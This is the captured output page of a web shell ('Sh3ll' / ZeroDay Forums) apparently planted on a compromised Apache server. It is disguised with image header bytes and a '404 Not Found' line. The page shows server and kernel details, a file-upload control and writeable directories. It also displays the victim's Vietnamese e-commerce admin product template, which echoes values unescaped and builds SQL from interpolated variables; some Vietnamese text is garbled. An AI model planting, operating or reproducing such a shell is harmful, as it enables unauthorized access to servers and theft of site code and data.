ÿØÿàJFIFÿÛ„ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /proc/self/root/var/www/html/tien-dien/code/admin/product/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/var/www/html/tien-dien/code/admin/product/product_tpl.php
<?php
global $row_check, $arr_categories, $arr_category_check, $txt_form_en, $func, $DB;
?>
<div class="card">
   <div class="card-header">Cập nhật sản phẩm</div>
    <div class="card-body">
        <form action="?act=admin&code=product&type=product" method="post" enctype="multipart/form-data">
            <input type="hidden" value="<?php echo $row_check['id'];?>" name="f[id]">
            <div class="form-body">
                <div class="row">
                    <div class="col-md-12">
                        <div class="h-auto bg-primary p-1 text-white rounded mb-2">Danh mục sản phẩm</div>
                        <?php showListCategories($arr_categories,0,'+',$arr_category_check);?>
                    </div>
                </div>
                <div class="row mt-2">
                    <div class="col-md-12">
                        <div class="form-group">
                            <label class="control-label">Tên sản phẩm</label>
                            <input type="text" class="form-control" placeholder="" name="f[title]" value="<?php echo $row_check['title'];?>" required>
                        </div>
                    </div>

                    <div class="col-md-12 <?php echo $txt_form_en;?>">
                        <div class="form-group">
                            <label class="control-label">Tên sản phẩm Tiếng Anh</label>
                            <input type="text" class="form-control" name="f[etitle]" value="<?php echo $row_check['etitle'];?>">
                        </div>
                    </div>

                    <div class="col-md-12">
                        <div class="form-group">
                            <label>Hình ảnh</label>
                            <input type="file" name="image_field" class="dropify" data-default-file="<?php echo $row_check['path_img'];?>" data-height="100" data-max-file-size="1M" data-show-remove="false">
                        </div>
                    </div>

                    <div class="col-md-4">
                        <div class="form-group">
                            <label>Giá bán</label>
                            <input type="number" class="form-control" name="f[price]" value="<?php echo $row_check['price'];?>" required>
                        </div>
                    </div>

                    <div class="col-md-4">
                        <div class="form-group">
                            <label>Giá cũ</label>
                            <input type="number" class="form-control" name="f[old_price]" value="<?php echo $row_check['old_price'];?>">
                        </div>
                    </div>

                    <div class="col-md-4">
                        <div class="form-group">
                            <label>Số lượng</label>
                            <input type="number" class="form-control" name="f[quantity]" value="<?php echo $row_check['quantity'];?>" required>
                        </div>
                    </div>

                    <div class="col-md-12">
                        <div class="h-auto bg-primary p-1 text-white rounded mb-2">Thông tin giảm giá</div>
                    </div>

                    <div class="col-md-4">
                        <div class="form-group">
                            <label>Số tiá»n giảm giá</label>
                            <input type="number" class="form-control" name="f[discount_amount]" value="<?php echo isset($row_check['discount_amount']) ? $row_check['discount_amount'] : 0;?>">
                        </div>
                    </div>

                    <div class="col-md-4">
                        <div class="form-group">
                            <label>Ngày bắt đầu giảm giá</label>
                            <input type="datetime-local" class="form-control" name="f[discount_start_date]" value="<?php echo isset($row_check['discount_start_date']) ? date('Y-m-d\TH:i', strtotime($row_check['discount_start_date'])) : '';?>">
                        </div>
                    </div>

                    <div class="col-md-4">
                        <div class="form-group">
                            <label>Ngày kết thúc giảm giá</label>
                            <input type="datetime-local" class="form-control" name="f[discount_end_date]" value="<?php echo isset($row_check['discount_end_date']) ? date('Y-m-d\TH:i', strtotime($row_check['discount_end_date'])) : '';?>">
                        </div>
                    </div>

                    <div class="col-md-12">
                        <div class="form-group">
                            <label>Mô tả</label>
                            <textarea class="form-control" rows="3" name="f[intro]"><?php echo $row_check['intro'];?></textarea>
                        </div>
                    </div>

                    <div class="col-md-12 <?php echo $txt_form_en;?>">
                        <div class="form-group">
                                <label>Mô tả tiếng Anh</label>
                                <textarea class="form-control" rows="3" name="f[eintro]"><?php echo $row_check['eintro'];?></textarea>
                            </div>
                    </div>

                    <div class="col-md-12">
                        <div class="form-group">
                            <label>Chi tiết</label>
                            <?php
                            echo $func->tinymce('f[body]','f_body',html_entity_decode($row_check['body']),10);
                            ?>
                        </div>
                    </div>
                    <div class="col-md-12 <?php echo $txt_form_en;?>">
                        <div class="form-group">
                            <label>Chi tiết tiếng Anh</label>
                            <?php
                            echo $func->tinymce('f[ebody]','f_ebody',html_entity_decode($row_check['ebody']),10);
                            ?>
                        </div>
                    </div>

                    <div class="col-md-12">
                        <div class="form-group">
                            <label>Thông số kỹ thuật</label>
                            <?php
                            echo $func->tinymce('f[specification]','f_specification',html_entity_decode($row_check['specification']),10);
                            ?>
                        </div>
                    </div>
                    <div class="col-md-12 <?php echo $txt_form_en;?>">
                        <div class="form-group">
                            <label>Thông số kỹ thuật tiếng Anh</label>
                            <?php
                            echo $func->tinymce('f[especification]','f_especification',html_entity_decode($row_check['especification']),10);
                            ?>
                        </div>
                    </div>

                    <div class="col-md-12">
                        <div class="form-group">
                            <label>Từ khóa (tags)</label>
                            <input type="text" class="form-control" name="tags" value="<?php echo $row_check['tags'];?>" required>
                        </div>
                    </div>
                    <div class="col-md-6">
                        <div class="form-group">
                            <label>Vị trí</label>
                            <input type="text" class="form-control" name="f[pos]" value="<?php echo $row_check['pos'];?>" required>
                        </div>
                    </div>

                    <div class="col-md-6">
                        <div class="form-group">
                            <label>Cửa hàng</label>
                            <select class="form-control" name="f[store_id]">
                                <option value="0">-- Chá»n cá»­a hàng --</option>
                                <?php
                                // Get current user
                                $current_user_id = isset($CORE->user['user_id']) ? $CORE->user['user_id'] : 0;
                                $is_admin = isset($CORE->user['user_type']) && $CORE->user['user_type'] == 'admin';

                                // Query to get stores
                                $store_query = $is_admin 
                                    ? "SELECT * FROM tb_stores WHERE status = 1 ORDER BY store_name ASC" 
                                    : "SELECT * FROM tb_stores WHERE status = 1 AND user_id = '$current_user_id' ORDER BY store_name ASC";

                                $query_stores = $DB->query($store_query);
                                while ($store = $DB->fetch_row($query_stores)) {
                                    $selected = (isset($row_check['store_id']) && $store['store_id'] == $row_check['store_id']) ? 'selected' : '';
                                    echo '<option value="'.$store['store_id'].'" '.$selected.'>'.$store['store_name'].'</option>';
                                }
                                ?>
                            </select>
                        </div>
                    </div>

                    <div class="col-md-12">
                        <div class="h-auto bg-primary p-1 text-white rounded mb-2">Phương thức vận chuyển</div>
                    </div>

                    <div class="col-md-12">
                        <div class="form-group">
                            <label>Chá»n phương thức vận chuyển</label>
                            <div class="row">
                                <?php
                                // Get shipping methods
                                $shipping_query = "SELECT * FROM tb_shipping_methods WHERE status = 1 ORDER BY sort_order ASC";
                                $query_shipping = $DB->query($shipping_query);

                                // Get selected shipping methods for this product
                                $selected_shipping = array();
                                if ($row_check['id'] > 0) {
                                    $shipping_product_query = "SELECT shipping_method_id FROM tb_product_shipping WHERE product_id = '{$row_check['id']}'";
                                    $result_shipping_product = $DB->query($shipping_product_query);
                                    while ($shipping_product = $DB->fetch_row($result_shipping_product)) {
                                        $selected_shipping[] = $shipping_product['shipping_method_id'];
                                    }
                                }

                                while ($shipping = $DB->fetch_row($query_shipping)) {
                                    $checked = in_array($shipping['id'], $selected_shipping) ? 'checked' : '';
                                    echo '<div class="col-md-4">
                                        <div class="form-check">
                                            <input type="checkbox" class="form-check-input" id="shipping_'.$shipping['id'].'" name="shipping_methods[]" value="'.$shipping['id'].'" '.$checked.'>
                                            <label class="form-check-label" for="shipping_'.$shipping['id'].'">'.$shipping['name'].' ('.number_format($shipping['cost']).' VNÄ)</label>
                                        </div>
                                    </div>';
                                }
                                ?>
                            </div>
                        </div>
                    </div>
                </div>
                <div class="row">
                    <div class="col-md-6">
                        <div class="form-check">
                            <input type="checkbox" class="form-check-input" id="tin_noi_bat" name="f[noibat]" <?php if($row_check['noibat']==1){echo 'checked';}?>>
                            <label class="form-check-label" for="tin_noi_bat">Sản phẩm nổi bật</label>
                        </div>
                    </div>

                    <div class="col-md-6">
                        <div class="form-check">
                            <input type="checkbox" class="form-check-input" id="kich_hoat" name="f[status]" <?php if(intval($row_check['status'])==0){echo 'checked';}?>>
                            <label class="form-check-label" for="kich_hoat">Kích hoạt</label>
                        </div>
                    </div>
                </div>

                <!-- Product Attributes Section -->
                <div class="row mt-4">
                    <div class="col-md-12">
                        <div class="h-auto bg-primary p-1 text-white rounded mb-2">Thuộc tính sản phẩm</div>

                        <div id="attributes-container">
                            <?php
                            // Load existing attributes for this product if editing
                            if ($row_check['id'] > 0) {
                                $product_attributes = array();
                                $query_attrs = $DB->query("
                                    SELECT a.attribute_id, a.attribute_name, a.attribute_ename, 
                                           v.value_id, v.value_name, v.value_ename, v.additional_price, v.quantity, v.path_img, v.is_video
                                    FROM tb_product_attributes a
                                    JOIN tb_product_attribute_values v ON a.attribute_id = v.attribute_id
                                    JOIN tb_product_attribute_mapping m ON v.value_id = m.value_id
                                    WHERE m.product_id = '{$row_check['id']}'
                                    ORDER BY a.attribute_id, v.value_id
                                ");

                                while ($row_attr = $DB->fetch_row($query_attrs)) {
                                    if (!isset($product_attributes[$row_attr['attribute_id']])) {
                                        $product_attributes[$row_attr['attribute_id']] = array(
                                            'attribute_name' => $row_attr['attribute_name'],
                                            'attribute_ename' => $row_attr['attribute_ename'],
                                            'values' => array()
                                        );
                                    }

                                    $product_attributes[$row_attr['attribute_id']]['values'][] = array(
                                        'value_id' => $row_attr['value_id'],
                                        'value_name' => $row_attr['value_name'],
                                        'value_ename' => $row_attr['value_ename'],
                                        'additional_price' => $row_attr['additional_price'],
                                        'quantity' => $row_attr['quantity'],
                                        'path_img' => $row_attr['path_img'],
                                        'is_video' => $row_attr['is_video']
                                    );
                                }

                                // Display existing attributes
                                foreach ($product_attributes as $attr_id => $attribute) {
                                    ?>
                                    <div class="attribute-group card mb-3">
                                        <div class="card-header">
                                            <div class="row">
                                                <div class="col-md-5">
                                                    <input type="text" class="form-control" name="attributes[<?php echo $attr_id; ?>][name]" placeholder="Tên thuộc tính" value="<?php echo $attribute['attribute_name']; ?>" required>
                                                </div>
                                                <div class="col-md-5 <?php echo $txt_form_en; ?>">
                                                    <input type="text" class="form-control" name="attributes[<?php echo $attr_id; ?>][ename]" placeholder="Attribute Name (English)" value="<?php echo $attribute['attribute_ename']; ?>">
                                                </div>
                                                <div class="col-md-2">
                                                    <button type="button" class="btn btn-danger btn-sm remove-attribute float-right">Xóa</button>
                                                </div>
                                            </div>
                                        </div>
                                        <div class="card-body">
                                            <div class="attribute-values">
                                                <?php foreach ($attribute['values'] as $value) { ?>
                                                <div class="attribute-value-row row mb-2">
                                                    <input type="hidden" name="attributes[<?php echo $attr_id; ?>][values][<?php echo $value['value_id']; ?>][value_id]" value="<?php echo $value['value_id']; ?>">
                                                    <div class="col-md-3">
                                                        <input type="text" class="form-control" name="attributes[<?php echo $attr_id; ?>][values][<?php echo $value['value_id']; ?>][name]" placeholder="Giá trị" value="<?php echo $value['value_name']; ?>" required>
                                                    </div>
                                                    <div class="col-md-3 <?php echo $txt_form_en; ?>">
                                                        <input type="text" class="form-control" name="attributes[<?php echo $attr_id; ?>][values][<?php echo $value['value_id']; ?>][ename]" placeholder="Value (English)" value="<?php echo $value['value_ename']; ?>">
                                                    </div>
                                                    <div class="col-md-2">
                                                        <input type="number" class="form-control" name="attributes[<?php echo $attr_id; ?>][values][<?php echo $value['value_id']; ?>][price]" placeholder="Giá thêm" value="<?php echo $value['additional_price']; ?>">
                                                    </div>
                                                    <div class="col-md-2">
                                                        <input type="number" class="form-control" name="attributes[<?php echo $attr_id; ?>][values][<?php echo $value['value_id']; ?>][quantity]" placeholder="Số lượng" value="<?php echo $value['quantity']; ?>">
                                                    </div>
                                                    <div class="col-md-1">
                                                        <div class="form-check mt-2">
                                                            <input type="checkbox" class="form-check-input is-video-check" id="is_video_<?php echo $attr_id; ?>_<?php echo $value['value_id']; ?>" name="attributes[<?php echo $attr_id; ?>][values][<?php echo $value['value_id']; ?>][is_video]" <?php if($value['is_video']==1){echo 'checked';}?>>
                                                            <label class="form-check-label" for="is_video_<?php echo $attr_id; ?>_<?php echo $value['value_id']; ?>">Video</label>
                                                        </div>
                                                    </div>
                                                    <div class="col-md-1">
                                                        <button type="button" class="btn btn-danger btn-sm remove-value">Xóa</button>
                                                    </div>
                                                    <div class="col-md-12 mt-2">
                                                        <input type="file" name="attribute_image_<?php echo $attr_id; ?>_<?php echo $value['value_id']; ?>" class="form-control-file">
                                                        <?php if (!empty($value['path_img'])) { ?>
                                                            <div class="mt-2">
                                                                <?php if ($value['is_video'] == 1) { ?>
                                                                    <video width="100" height="100" controls>
                                                                        <source src="<?php echo $value['path_img']; ?>" type="video/mp4">
                                                                        Your browser does not support the video tag.
                                                                    </video>
                                                                <?php } else { ?>
                                                                    <img src="<?php echo $value['path_img']; ?>" width="100" height="100" class="img-thumbnail">
                                                                <?php } ?>
                                                            </div>
                                                        <?php } ?>
                                                    </div>
                                                </div>
                                                <?php } ?>
                                            </div>
                                            <button type="button" class="btn btn-info btn-sm add-value mt-2" data-attribute-id="<?php echo $attr_id; ?>">Thêm giá trị</button>
                                        </div>
                                    </div>
                                    <?php
                                }
                            }
                            ?>
                        </div>

                        <button type="button" class="btn btn-success" id="add-attribute">Thêm thuộc tính mới</button>
                    </div>
                </div>
                <!-- End Product Attributes Section -->
            </div>
            <div class="form-actions mt-3">
                <button type="submit" class="btn btn-success" name="submitbt"> <i class="fa fa-check"></i> Save</button>
                <button type="button" class="btn btn-inverse" onclick="location.href='?act=admin&code=product'">Cancel</button>
            </div>
        </form>

    </div>
</div>
<script>
    (function(){
        var input = document.querySelector('input[name=tags]');
        new Tagify(input)
    })()

    // Product Attributes JavaScript
    document.addEventListener('DOMContentLoaded', function() {
        let attributeCounter = 1000; // Start with a high number to avoid conflicts with existing IDs
        let valueCounter = 1000;

        // Add new attribute
        document.getElementById('add-attribute').addEventListener('click', function() {
            const attributeId = 'new_' + attributeCounter++;
            const attributeHtml = `
                <div class="attribute-group card mb-3">
                    <div class="card-header">
                        <div class="row">
                            <div class="col-md-5">
                                <input type="text" class="form-control" name="attributes[${attributeId}][name]" placeholder="Tên thuộc tính" required>
                            </div>
                            <div class="col-md-5 ${document.querySelector('.<?php echo $txt_form_en; ?>')?'<?php echo $txt_form_en; ?>':''}">
                                <input type="text" class="form-control" name="attributes[${attributeId}][ename]" placeholder="Attribute Name (English)">
                            </div>
                            <div class="col-md-2">
                                <button type="button" class="btn btn-danger btn-sm remove-attribute float-right">Xóa</button>
                            </div>
                        </div>
                    </div>
                    <div class="card-body">
                        <div class="attribute-values">
                            <!-- Values will be added here -->
                        </div>
                        <button type="button" class="btn btn-info btn-sm add-value mt-2" data-attribute-id="${attributeId}">Thêm giá trị</button>
                    </div>
                </div>
            `;

            document.getElementById('attributes-container').insertAdjacentHTML('beforeend', attributeHtml);
        });

        // Add new value to an attribute
        document.body.addEventListener('click', function(e) {
            if (e.target.classList.contains('add-value')) {
                const attributeId = e.target.getAttribute('data-attribute-id');
                const valueId = 'new_' + valueCounter++;
                const valueHtml = `
                    <div class="attribute-value-row row mb-2">
                        <div class="col-md-3">
                            <input type="text" class="form-control" name="attributes[${attributeId}][values][${valueId}][name]" placeholder="Giá trị" required>
                        </div>
                        <div class="col-md-3 ${document.querySelector('.<?php echo $txt_form_en; ?>')?'<?php echo $txt_form_en; ?>':''}">
                            <input type="text" class="form-control" name="attributes[${attributeId}][values][${valueId}][ename]" placeholder="Value (English)">
                        </div>
                        <div class="col-md-2">
                            <input type="number" class="form-control" name="attributes[${attributeId}][values][${valueId}][price]" placeholder="Giá thêm" value="0">
                        </div>
                        <div class="col-md-2">
                            <input type="number" class="form-control" name="attributes[${attributeId}][values][${valueId}][quantity]" placeholder="Số lượng" value="0">
                        </div>
                        <div class="col-md-1">
                            <div class="form-check mt-2">
                                <input type="checkbox" class="form-check-input is-video-check" id="is_video_${attributeId}_${valueId}" name="attributes[${attributeId}][values][${valueId}][is_video]">
                                <label class="form-check-label" for="is_video_${attributeId}_${valueId}">Video</label>
                            </div>
                        </div>
                        <div class="col-md-1">
                            <button type="button" class="btn btn-danger btn-sm remove-value">Xóa</button>
                        </div>
                        <div class="col-md-12 mt-2">
                            <input type="file" name="attribute_image_${attributeId}_${valueId}" class="form-control-file">
                        </div>
                    </div>
                `;

                const valuesContainer = e.target.previousElementSibling;
                valuesContainer.insertAdjacentHTML('beforeend', valueHtml);
            }
        });

        // Remove attribute
        document.body.addEventListener('click', function(e) {
            if (e.target.classList.contains('remove-attribute')) {
                if (confirm('Bạn có chắc chắn muốn xóa thuộc tính này?')) {
                    const attributeGroup = e.target.closest('.attribute-group');
                    attributeGroup.remove();
                }
            }
        });

        // Remove value
        document.body.addEventListener('click', function(e) {
            if (e.target.classList.contains('remove-value')) {
                if (confirm('Bạn có chắc chắn muốn xóa giá trị này?')) {
                    const valueRow = e.target.closest('.attribute-value-row');
                    valueRow.remove();
                }
            }
        });
    });
</script>

ZeroDay Forums Mini